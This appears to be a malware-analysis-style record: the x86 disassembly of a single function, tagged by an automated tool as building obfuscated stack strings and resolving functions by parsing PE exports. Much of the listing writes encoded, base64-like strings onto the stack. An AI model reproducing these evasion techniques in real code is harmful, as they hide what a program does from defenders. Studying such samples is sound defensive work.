Function at 0x254ce06
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x520
mov eax, dword [0x6400104]
xor eax, esp
mov dword [esp + 0x51c], eax
mov eax, dword [esp + 0x52c]
and dword [esp + 8], 0
push ebx
push ebp
mov ebp, dword [esp + 0x52c]
push esi
mov esi, dword [esp + 0x534]
push edi
mov edi, ecx
mov dword [esp + 0x424], eax
call fcn.0247d9cc
push eax
lea ecx, [esp + 0x1c]
call fcn.0247a7b2
mov ecx, esi
call fcn.0248ece2
xor ebx, ebx
inc ebx
test al, al
jne 0x254da54
push esi
mov ecx, edi
call fcn.02565722
lea ecx, [esp + 0x50c]
call fcn.0247ad3b
and dword [esp + 0x14], 0
lea eax, [esp + 0x42c]
push esi
push eax
lea ecx, [esp + 0x514]
call fcn.0249ab40
cmp dword [eax + 0x14], 0x10
jb 0x254ce98
mov eax, dword [eax]
push eax
lea ecx, [esp + 0x18]
call fcn.024ae5ff
push 0
push ebx
lea ecx, [esp + 0x434]
call fcn.0247fc46
mov esi, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push esi
call fcn.0254b640
mov dword [esp + 0x1e0], 0x31427a48
mov dword [esp + 0x1e4], 0x45555759
mov dword [esp + 0x1e8], 0x6b597947
mov dword [esp + 0x1ec], 0x47455245
mov dword [esp + 0x1f0], 0x6d464464
mov dword [esp + 0x1f4], 0x4d41684b
mov dword [esp + 0x1f8], 0x6d38444c
mov dword [esp + 0x1fc], 0x2b6b414a
mov dword [esp + 0x200], 0x7a52674d
mov dword [esp + 0x204], 0x48495242
mov dword [esp + 0x208], 0x334a4148
mov dword [esp + 0x20c], 0x4e457a45
mov dword [esp + 0x210], 0x41387841
mov dword [esp + 0x214], 0x4c777a48
mov dword [esp + 0x218], 0x65677a47
mov dword [esp + 0x21c], 0x44494742
mov dword [esp + 0x220], 0x4f6f414a
mov dword [esp + 0x224], 0x7551524c
mov dword [esp + 0x228], 0x2b414461
mov dword [esp + 0x22c], 0x77556747
mov dword [esp + 0x230], 0x38674748
mov dword [esp + 0x234], 0x674d5741
mov dword [esp + 0x238], 0x6c517a49
mov dword [esp + 0x23c], 0x79493244
mov dword [esp + 0x240], 0x344d5244
mov dword [esp + 0x244], 0x4949674e
mov dword [esp + 0x248], 0x5a456a48
mov dword [esp + 0x24c], 0x586f584b
mov dword [esp + 0x250], 0x2f396842
mov dword [esp + 0x254], 0x6d685845
mov dword [esp + 0x258], 0x79397842
mov dword [esp + 0x25c], 0x44385146
mov dword [esp + 0x260], 0x6d494141
mov dword [esp + 0x264], 0x686f4266
mov dword [esp + 0x268], 0x4e494349
mov dword [esp + 0x26c], 0x4f516a4e
mov dword [esp + 0x270], 0x77706d4e
mov dword [esp + 0x274], 0x574d6e49
mov dword [esp + 0x278], 0x30386942
mov dword [esp + 0x27c], 0x6b51514f
mov dword [esp + 0x280], 0x4d38524d
mov dword [esp + 0x284], 0x796b684a
mov dword [esp + 0x288], 0x54737947
mov dword [esp + 0x28c], 0x66345366
mov dword [esp + 0x290], 0x4563414b
mov dword [esp + 0x294], 0x744a6d49
mov dword [esp + 0x298], 0x4c347764
mov dword [esp + 0x29c], 0x4e6b4341
mov dword [esp + 0x2a0], 0x48776850
mov dword [esp + 0x2a4], 0x336b7842
mov dword [esp + 0x2a8], 0x32396a63
mov dword [esp + 0x2ac], 0x55737a4f
mov dword [esp + 0x2b0], 0x72774444
mov dword [esp + 0x2b4], 0x53496d48
mov dword [esp + 0x2b8], 0x4549514c
mov dword [esp + 0x2bc], 0x434d7863
mov dword [esp + 0x2c0], 0x4c347945
mov dword [esp + 0x2c4], 0x54455347
mov dword [esp + 0x2c8], 0x30456a48
mov dword [esp + 0x2cc], 0x6a6f5250
mov dword [esp + 0x2d0], 0x75557a4d
mov dword [esp + 0x2d4], 0x7238414d
mov dword [esp + 0x2d8], 0x636b6765
mov dword [esp + 0x2dc], 0x37596a4a
mov dword [esp + 0x2e0], 0x57557746
mov dword [esp + 0x2e4], 0x2b635142
mov dword [esp + 0x2e8], 0x62674342
mov dword [esp + 0x2ec], 0x466b694b
mov dword [esp + 0x2f0], 0x6e4d7744
mov dword [esp + 0x2f4], 0x36495350
mov dword [esp + 0x2f8], 0x77316964
mov dword [esp + 0x2fc], 0x77524341
mov dword [esp + 0x300], 0x63416959
mov dword [esp + 0x304], 0x6155535a
mov dword [esp + 0x308], 0x6e466a4e
mov dword [esp + 0x30c], 0x49346a42
mov dword [esp + 0x310], 0x7878784c
mov dword [esp + 0x314], 0x38773344
mov dword [esp + 0x318], 0x53415859
mov dword [esp + 0x31c], 0x684a784a
mov dword [esp + 0x320], 0x324d684f
mov dword [esp + 0x324], 0x32707a4d
mov dword [esp + 0x328], 0x734d7a48
mov dword [esp + 0x32c], 0x4f734442
mov dword [esp + 0x330], 0x58416a4f
mov dword [esp + 0x334], 0x79417749
mov dword [esp + 0x338], 0x6d385464
mov dword [esp + 0x33c], 0x4e6b444c
mov dword [esp + 0x340], 0x6c4d484b
mov dword [esp + 0x344], 0x6c684845
mov dword [esp + 0x348], 0x38514348
mov dword [esp + 0x34c], 0x2b394141
mov dword [esp + 0x350], 0x76634265
mov dword [esp + 0x354], 0x674d6d42
mov dword [esp + 0x358], 0x4830794c
mov dword [esp + 0x35c], 0x7452534a
mov dword [esp + 0x360], 0x74305145
mov dword [esp + 0x364], 0x7849334a
mov dword [esp + 0x368], 0x324a7a41
mov dword [esp + 0x36c], 0x594d7750
mov dword [esp + 0x370], 0x5045534f
mov dword [esp + 0x374], 0x4f51694a
mov dword [esp + 0x378], 0x594d5366
mov dword [esp + 0x37c], 0x73306942
mov dword [esp + 0x380], 0x574d444e
mov dword [esp + 0x384], 0x74636a46
mov dword [esp + 0x388], 0x2f463263
mov dword [esp + 0x38c], 0x726f6e42
mov dword [esp + 0x390], 0x7a6f4143
mov dword [esp + 0x394], 0x7170774c
mov dword [esp + 0x398], 0x52517847
mov dword [esp + 0x39c], 0x53676849
mov dword [esp + 0x3a0], 0x57555750
mov dword [esp + 0x3a4], 0x72556d4b
mov dword [esp + 0x3a8], 0x68317743
mov dword [esp + 0x3ac], 0x634d5147
mov dword [esp + 0x3b0], 0x36683243
mov dword [esp + 0x3b4], 0x7a6f6748
mov dword [esp + 0x3b8], 0x43595259
mov dword [esp + 0x3bc], 0x44306849
mov dword [esp + 0x3c0], 0x79454246
mov dword [esp + 0x3c4], 0x6463324f
mov dword [esp + 0x3c8], 0x48636d64
mov dword [esp + 0x3cc], 0x77555241
mov dword [esp + 0x3d0], 0x654d434b
mov dword [esp + 0x3d4], 0x76466963
mov dword [esp + 0x3d8], 0x2b38784c
mov dword [esp + 0x3dc], 0x5859774f
mov dword [esp + 0x3e0], 0x6f736942
mov dword [esp + 0x3e4], 0x44387a44
mov dword [esp + 0x3e8], 0x55637843
mov dword [esp + 0x3ec], 0x775a324b
mov dword [esp + 0x3f0], 0x5241574f
mov dword [esp + 0x3f4], 0x4a6f7841
mov dword [esp + 0x3f8], 0x3363794b
mov dword [esp + 0x3fc], 0x75633241
mov dword [esp + 0x400], 0x2b6b6850
mov dword [esp + 0x404], 0x38634165
mov dword [esp + 0x408], 0x7a596e4e
mov dword [esp + 0x40c], 0x67637750
mov dword [esp + 0x410], 0x7a67794c
mov dword [esp + 0x414], 0x6b305443
mov dword [esp + 0x418], 0x7a4d6964
mov dword [esp + 0x41c], 0x4141514f
mov word [esp + 0x420], 0x6141
mov byte [esp + 0x422], 0x67
mov dword [esp + 0x1c], 0x30497966
mov dword [esp + 0x20], 0x5345524a
mov dword [esp + 0x24], 0x54673265
mov dword [esp + 0x28], 0x6842444d
mov dword [esp + 0x2c], 0x67566a4d
mov dword [esp + 0x30], 0x745a5165
mov dword [esp + 0x34], 0x4b6f574c
mov dword [esp + 0x38], 0x64417941
mov dword [esp + 0x3c], 0x4973794b
mov dword [esp + 0x40], 0x68343343
mov dword [esp + 0x44], 0x7751334a
mov dword [esp + 0x48], 0x2f4d7748
mov dword [esp + 0x4c], 0x394d4250
mov dword [esp + 0x50], 0x3955794a
mov dword [esp + 0x54], 0x39555147
mov dword [esp + 0x58], 0x6f646d42
mov dword [esp + 0x5c], 0x646f6a50
mov dword [esp + 0x60], 0x566f4246
mov dword [esp + 0x64], 0x4d595241
mov dword [esp + 0x68], 0x7264674a
mov dword [esp + 0x6c], 0x69636e4f
mov dword [esp + 0x70], 0x3155545a
mov dword [esp + 0x74], 0x61737a4a
mov dword [esp + 0x78], 0x594d3248
mov dword [esp + 0x7c], 0x666b5349
mov dword [esp + 0x80], 0x5845574c
mov dword [esp + 0x84], 0x41416766
mov dword [esp + 0x88], 0x50346843
mov dword [esp + 0x8c], 0x76674348
mov dword [esp + 0x90], 0x6e783365
mov dword [esp + 0x94], 0x64515263
mov dword [esp + 0x98], 0x2f49434b
mov dword [esp + 0x9c], 0x6351534b
mov dword [esp + 0xa0], 0x4d45544c
mov dword [esp + 0xa4], 0x68465447
mov dword [esp + 0xa8], 0x706f7a4a
mov dword [esp + 0xac], 0x5a597a46
mov dword [esp + 0xb0], 0x4d73544c
mov dword [esp + 0xb4], 0x67555146
mov dword [esp + 0xb8], 0x6f637949
mov dword [esp + 0xbc], 0x4f776a4d
mov dword [esp + 0xc0], 0x57386d4a
mov dword [esp + 0xc4], 0x7874534e
mov dword [esp + 0xc8], 0x6259784a
mov dword [esp + 0xcc], 0x79455243
mov dword [esp + 0xd0], 0x564d424a
mov dword [esp + 0xd4], 0x7967324b
mov dword [esp + 0xd8], 0x336c5245
mov dword [esp + 0xdc], 0x38386844
mov dword [esp + 0xe0], 0x516f6765
mov dword [esp + 0xe4], 0x5830694d
mov dword [esp + 0xe8], 0x70414747
mov dword [esp + 0xec], 0x52596a50
mov dword [esp + 0xf0], 0x2b415744
mov dword [esp + 0xf4], 0x6b517763
mov dword [esp + 0xf8], 0x71787943
mov dword [esp + 0xfc], 0x3530794a
mov dword [esp + 0x100], 0x5a6f4441
mov dword [esp + 0x104], 0x77746762
mov dword [esp + 0x108], 0x42677749
mov dword [esp + 0x10c], 0x79456a4c
mov dword [esp + 0x110], 0x4c516d48
mov dword [esp + 0x114], 0x38646d42
mov dword [esp + 0x118], 0x6a386a41
mov dword [esp + 0x11c], 0x45776962
mov dword [esp + 0x120], 0x39636746
mov dword [esp + 0x124], 0x4b30434b
mov dword [esp + 0x128], 0x79304346
mov dword [esp + 0x12c], 0x41636748
mov dword [esp + 0x130], 0x71346a4d
mov dword [esp + 0x134], 0x57456763
mov dword [esp + 0x138], 0x73347945
mov dword [esp + 0x13c], 0x35557741
mov dword [esp + 0x140], 0x31497850
mov dword [esp + 0x144], 0x43555863
mov dword [esp + 0x148], 0x67345445
mov dword [esp + 0x14c], 0x4e6b7763
mov dword [esp + 0x150], 0x5a6f7763
mov dword [esp + 0x154], 0x75556e4c
mov dword [esp + 0x158], 0x3277524f
mov dword [esp + 0x15c], 0x4f415247
mov dword [esp + 0x160], 0x6c387946
mov dword [esp + 0x164], 0x39464748
mov dword [esp + 0x168], 0x7a457966
mov dword [esp + 0x16c], 0x55596847
mov dword [esp + 0x170], 0x62347947
xor eax, eax
mov dword [esp + 0x174], 0x34685141
push eax
sub esp, 0xc
mov dword [esp + 0x188], 0x65386845
mov ecx, esp
mov dword [esp + 0x18c], 0x32424443
mov dword [esp + 0x190], 0x39304866
mov dword [esp + 0x194], 0x64635164
mov dword [esp + 0x198], 0x7a4a684a
mov dword [esp + 0x19c], 0x4951534c
mov dword [esp + 0x1a0], 0x76304766
mov dword [esp + 0x1a4], 0x57457a43
mov dword [esp + 0x1a8], 0x756c5145
mov dword [esp + 0x1ac], 0x686b6748
mov dword [esp + 0x1b0], 0x6f6f5244
mov dword [esp + 0x1b4], 0x2b317948
mov dword [esp + 0x1b8], 0x44415141
mov dword [esp + 0x1bc], 0x38464348
mov dword [esp + 0x1c0], 0x78676849
mov dword [esp + 0x1c4], 0x6e45414c
mov dword [esp + 0x1c8], 0x71346948
mov dword [esp + 0x1cc], 0x344a674a
mov dword [esp + 0x1d0], 0x38345443
mov dword [esp + 0x1d4], 0x706f424c
mov dword [esp + 0x1d8], 0x7551534d
mov dword [esp + 0x1dc], 0x4c347748
mov dword [esp + 0x1e0], 0x41417741
mov word [esp + 0x1e4], 0x5541
mov byte [esp + 0x1e6], 0x63
mov byte [esp + 0x24], al
push dword [esp + 0x24]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
lea eax, [esp + 0x437]
push eax
lea eax, [esp + 0x1f8]
push eax
call fcn.024799be
lea eax, [esp + 0x43c]
push eax
call fcn.0254ecb5
add esp, 0x10
mov ecx, eax
call fcn.02486d16
push eax
xor eax, eax
push eax
sub esp, 0xc
mov byte [esp + 0x28], al
mov ecx, esp
push dword [esp + 0x28]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
lea eax, [esp + 0x1ef]
push eax
lea eax, [esp + 0x38]
push eax
call fcn.024799be
lea eax, [esp + 0x458]
push eax
call fcn.0254ecb5
add esp, 0x10
mov ecx, eax
call fcn.02486d16
push eax
lea ecx, [esp + 0x20]
call fcn.02529afe
lea ecx, [esp + 0x444]
call fcn.0247fde7
lea ecx, [esp + 0x42c]
call fcn.0247fde7
push 0xd
lea ecx, [esp + 0x1c]
call fcn.02565613
push 0xa
lea ecx, [esp + 0x1c]
call fcn.02565613
lea ecx, [esi - 0x10]
call fcn.0247de5b
lea ecx, [esp + 0x50c]
call fcn.0247b80e
and dword [esp + 0x14], 0
lea eax, [esp + 0x10]
push eax
mov ecx, edi
call fcn.02557ec5
lea ecx, [esp + 0x454]
push 3
mov eax, dword [eax]
mov dword [esp + 0x454], ecx
lea ecx, [esp + 0x454]
push eax
call fcn.02521090
push dword [esp + 0x450]
lea ecx, [esp + 0x18]
call fcn.024ae5ff
lea eax, [esp + 0x454]
cmp dword [esp + 0x450], eax
je 0x254dab1
push dword [esp + 0x450]
call fcn.025d54e1
pop ecx
mov ecx, dword [esp + 0x10]
lea ecx, [ecx - 0x10]
call fcn.0247de5b
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
push eax
mov dword [esp + 0x42c], eax
call fcn.024b7b81
and dword [esp + 0x18], 0
add eax, 0x10
pop ecx
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], eax
call fcn.024ae5ff
lea eax, [esp + 0x1dc]
mov ecx, edi
push eax
call fcn.02557ec5
mov esi, dword [esp + 0x18]
mov eax, dword [eax]
mov edx, dword [eax - 0xc]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax - 0xc]
mov eax, dword [esi - 0xc]
add eax, ecx
lea ecx, [esp + 0x10]
add eax, edx
push eax
call fcn.0247dc1b
mov ecx, dword [esp + 0x1dc]
lea ecx, [ecx - 0x10]
call fcn.0247de5b
push ebp
lea ecx, [esp + 0x14]
call fcn.0254b640
push esi
lea ecx, [esp + 0x14]
call fcn.0254b640
push 0x35
lea eax, [esp + 0x4d8]
push 0
push eax
call fcn.025acd10
add esp, 0xc
mov ecx, edi
push 0x40
call fcn.025594b0
push eax
lea ecx, [esp + 0x4dc]
call fcn.0254b421
push 0x20
call fcn.0258532a
mov edi, dword [esp + 0x14]
mov ebp, eax
pop ecx
test ebp, ebp
je 0x254dbc2
mov eax, dword [edi - 0xc]
mov dword [esp + 0x1dc], eax
cmp dword [edi - 4], ebx
jle 0x254db9b
push eax
lea ecx, [esp + 0x14]
call fcn.0247d79d
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x1dc]
push ebp
push eax
push edi
lea ecx, [esp + 0x4e0]
call fcn.0254ea50
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.02529975
test ebx, ebx
je 0x254dc20
push ebp
call fcn.02585333
pop ecx
xor bl, bl
lea ecx, [esp + 0x4d4]
mov dword [esp + 0x4d4], 0x4405ac8
call fcn.0254b4ca
mov ecx, dword [esp + 0x14]
lea ecx, [ecx - 0x10]
call fcn.0247de5b
lea ecx, [edi - 0x10]
call fcn.0247de5b
mov ecx, dword [esp + 0x428]
call fcn.0247de5b
lea ecx, [esi - 0x10]
call fcn.0247de5b
mov ecx, dword [esp + 0x52c]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.02585cf8
add esp, 0x520
ret 0xc
xor ebx, ebx
mov dword [esp + 0x10], ebx
call fcn.0247d9cc
push eax
lea ecx, [esp + 0x14]
call fcn.0247a7ff
mov eax, dword [esp + 0x4d8]
lea ecx, [esp + 0x10]
mov eax, dword [eax + 0xc]
add eax, eax
push eax
call fcn.0247dc50
mov eax, dword [esp + 0x4d8]
mov esi, ebx
cmp dword [eax + 0xc], ebx
jbe 0x254e15e
mov dword [esp + 0x1c], 0x33566e5a
mov dword [esp + 0x20], 0x326b5443
mov dword [esp + 0x24], 0x4349434a
mov dword [esp + 0x28], 0x2b417847
mov dword [esp + 0x2c], 0x4634514d
mov dword [esp + 0x30], 0x72734242
mov dword [esp + 0x34], 0x2f6b6d44
mov dword [esp + 0x38], 0x3930514c
mov dword [esp + 0x3c], 0x2b46544e
mov dword [esp + 0x40], 0x4645424a
mov dword [esp + 0x44], 0x6d4d484b
mov dword [esp + 0x48], 0x654d7749
mov dword [esp + 0x4c], 0x69517764
mov dword [esp + 0x50], 0x72424263
mov dword [esp + 0x54], 0x3555794f
mov dword [esp + 0x58], 0x31737a44
mov dword [esp + 0x5c], 0x456b424a
mov dword [esp + 0x60], 0x7034695a
mov dword [esp + 0x64], 0x4e73434e
mov dword [esp + 0x68], 0x6245694f
mov dword [esp + 0x6c], 0x54415264
mov dword [esp + 0x70], 0x5345474e
mov dword [esp + 0x74], 0x366b414c
mov dword [esp + 0x78], 0x70457846
mov dword [esp + 0x7c], 0x2f55544b
mov dword [esp + 0x80], 0x5a675245
mov dword [esp + 0x84], 0x6b737863
mov dword [esp + 0x88], 0x4f4d7942
mov dword [esp + 0x8c], 0x75386850
mov dword [esp + 0x90], 0x78305163
mov dword [esp + 0x94], 0x706f6964
mov dword [esp + 0x98], 0x726b515a
mov dword [esp + 0x9c], 0x54636946
mov dword [esp + 0xa0], 0x44496d47
mov dword [esp + 0xa4], 0x3651684b
mov dword [esp + 0xa8], 0x75385145
mov dword [esp + 0xac], 0x44384444
mov dword [esp + 0xb0], 0x494d3348
mov dword [esp + 0xb4], 0x69554144
mov dword [esp + 0xb8], 0x5230524d
mov dword [esp + 0xbc], 0x38455441
mov dword [esp + 0xc0], 0x496f5461
mov dword [esp + 0xc4], 0x37356843
mov dword [esp + 0xc8], 0x50347846
mov dword [esp + 0xcc], 0x6a4e6865
mov dword [esp + 0xd0], 0x4d775445
mov dword [esp + 0xd4], 0x4b417964
mov dword [esp + 0xd8], 0x69735841
mov dword [esp + 0xdc], 0x4c77794d
mov dword [esp + 0xe0], 0x6738694a
mov dword [esp + 0xe4], 0x386c7746
mov dword [esp + 0xe8], 0x6c307a5a
mov dword [esp + 0xec], 0x476b4765
mov dword [esp + 0xf0], 0x33416949
mov dword [esp + 0xf4], 0x6e52534a
mov dword [esp + 0xf8], 0x43456864
mov dword [esp + 0xfc], 0x5a413248
mov dword [esp + 0x100], 0x76527845
mov dword [esp + 0x104], 0x75495341
mov dword [esp + 0x108], 0x6859794c
mov dword [esp + 0x10c], 0x6d735342
mov dword [esp + 0x110], 0x71525346
mov dword [esp + 0x114], 0x37747865
mov dword [esp + 0x118], 0x7049694f
mov dword [esp + 0x11c], 0x73674442
mov dword [esp + 0x120], 0x71344747
mov dword [esp + 0x124], 0x706b514d
mov dword [esp + 0x128], 0x5649434a
mov dword [esp + 0x12c], 0x7134674f
mov dword [esp + 0x130], 0x546f515a
mov dword [esp + 0x134], 0x306f6763
mov dword [esp + 0x138], 0x314a4459
mov dword [esp + 0x13c], 0x776c5344
mov dword [esp + 0x140], 0x58593242
mov dword [esp + 0x144], 0x326f694f
mov dword [esp + 0x148], 0x33515746
mov dword [esp + 0x14c], 0x446f424c
mov dword [esp + 0x150], 0x6f30544c
mov dword [esp + 0x154], 0x714d4848
mov dword [esp + 0x158], 0x31454141
mov dword [esp + 0x15c], 0x416f7843
movzx eax, byte [esi + ebp]
push eax
push ebx
sub esp, 0xc
mov byte [esp + 0x1f0], bl
mov ecx, esp
mov dword [esp + 0x174], 0x2f495341
lea eax, [esp + 0x1ef]
mov dword [esp + 0x178], 0x7463324b
mov dword [esp + 0x17c], 0x72746748
push dword [esp + 0x1f0]
mov dword [esp + 0x184], 0x4863774f
push eax
mov dword [esp + 0x18c], 0x664d4442
lea eax, [esp + 0x38]
mov dword [esp + 0x190], 0x71305245
mov dword [esp + 0x194], 0x304d4848
mov dword [esp + 0x198], 0x794e674e
mov dword [esp + 0x19c], 0x30457942
mov dword [esp + 0x1a0], 0x4d6f524a
mov dword [esp + 0x1a4], 0x7049574e
mov dword [esp + 0x1a8], 0x6b557a64
mov dword [esp + 0x1ac], 0x54416848
mov dword [esp + 0x1b0], 0x61454848
mov dword [esp + 0x1b4], 0x34306a4a
mov dword [esp + 0x1b8], 0x3878414a
mov dword [esp + 0x1bc], 0x4a6f6966
mov dword [esp + 0x1c0], 0x49634349
mov dword [esp + 0x1c4], 0x48775343
mov dword [esp + 0x1c8], 0x576f674e
mov dword [esp + 0x1cc], 0x2b567748
mov dword [esp + 0x1d0], 0x5949534a
mov dword [esp + 0x1d4], 0x2b30535a
mov dword [esp + 0x1d8], 0x6b67784c
mov dword [esp + 0x1dc], 0x5951524d
mov dword [esp + 0x1e0], 0x35347846
mov dword [esp + 0x1e4], 0x53737a4d
mov dword [esp + 0x1e8], 0x4349434c
mov dword [esp + 0x1ec], 0x43516744
mov dword [esp + 0x1f0], 0x4141774b
mov word [esp + 0x1f4], 0x5541
mov byte [esp + 0x1f6], 0x63
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.024799be
lea eax, [esp + 0x440]
push eax
call fcn.0254ef1e
add esp, 0x10
mov ecx, eax
call fcn.02486d33
push eax
lea eax, [esp + 0x18]
push eax
call fcn.024b50cc
add esp, 0xc
lea ecx, [esp + 0x42c]
call fcn.0247fe92
mov eax, dword [esp + 0x4d8]
inc esi
cmp esi, dword [eax + 0xc]
jb 0x254dc5d
push ebp
call fcn.02585333
pop ecx
push 0x2d
lea ecx, [esp + 0x14]
call fcn.02565694
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x424]
push dword [esi - 0xc]
call fcn.0247dc50
push dword [esi - 0xc]
mov ecx, dword [esp + 0x428]
push esi
call fcn.024b5028
lea ecx, [esi - 0x10]
call fcn.0247de5b
mov esi, dword [esp + 0x18]
xor ebx, ebx
inc ebx
jmp 0x254dbc4